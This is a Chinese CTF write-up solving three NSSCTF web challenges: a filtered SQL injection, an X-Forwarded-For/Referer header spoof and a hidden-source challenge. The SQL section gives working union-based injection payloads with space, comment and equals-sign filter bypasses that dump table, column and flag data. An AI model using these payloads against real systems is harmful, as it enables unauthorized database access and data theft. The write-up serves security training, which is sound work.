目录
[SWPUCTF 2021 新生赛]sql
1、题目
2、知识点
3、思路
[SWPUCTF 2022 新生赛]xff
1、题目
2、知识点
3、思路
[FSCTF 2023]源码!启动!
1、题目
2、知识点
3、思路
[SWPUCTF 2021 新生赛]sql
1、题目
2、知识点
SQL注入,空格、注释符等绕过
3、思路
打开题目
根据提示可以知道,变量是wllm
?wllm=1
数据回显,加入单引号’
?wllm=1'
数据库语句报错,根据提示信息,我们可以猜测是单引号的闭合问题
输入注释符--+ #,
说明注释符被过滤,这时候我们考虑绕过,可以使用url编码进行绕过,#为%23,--+编码后还是被过滤,所以不行,在尝试的过程中,发现空格也被过滤,空格绕过有很多种,根据题目而定,这里可以使用注释进行绕过/**/
常见的空格绕过还有:
两个空格代替一个空格
%a0
使用()等
?wllm=1'/**/%23
这里数据正常回显,说明是单引号的闭合错误,同时也绕过了空格、注释符的过滤,接下来的语句空格都用/**/代替
判断回显位置(注意wllm是-1,因为使用union语句,前面为空,才会执行后面的语句)
?wllm=-1'/**/union/**/select/**/1,2,3%23
判断数据库
?wllm=-1'/**/union/**/select/**/1,2,database()%23
当前数据库为test_db
判断表名
这里发现=也被过滤了,可以使用like来进行绕过
?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**
/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
判断字段名
?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
判断flag
这里因为字符长度的显示,需要使用mid()函数
?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(id,flag),1,20)/**/from/**/test_db.LTLT_flag%23
?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(id,flag),20,40)/**/from/**/test_db.LTLT_flag%23
?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(id,flag),40,60)/**/from/**/test_db.LTLT_flag%23
注意,这些字符需要注意不要重复
得到flag:NSSCTF{2d6117ae-ea77-425d-850e-88a53030a9e8}
[SWPUCTF 2022 新生赛]xff
1、题目
2、知识点
http头部,xff
3、思路
这一题跟 [LitCTF 2023]Http pro max plus有一点相似,可以参考
NSSCTF-Web题目8-CSDN博客
这里提示我们要使用自己的电脑,估计就要本地IP,打开BP进行抓包,修改头部
加上X-forwarded-for:127.0.0.1
这里提示我们要从home页面访问
加上Referer:home
得到flag:NSSCTF{th1s_xff_1s_e4ay}
[FSCTF 2023]源码!启动!
1、题目
2、知识点
源码获取,开发者模式使用
3、思路
打开题目
没有什么提示信息,右键查看源码,发现右键被禁用
使用浏览器
得到flag:NSSCTF{fbb98d46-c9b4-4161-b43e-544459962400}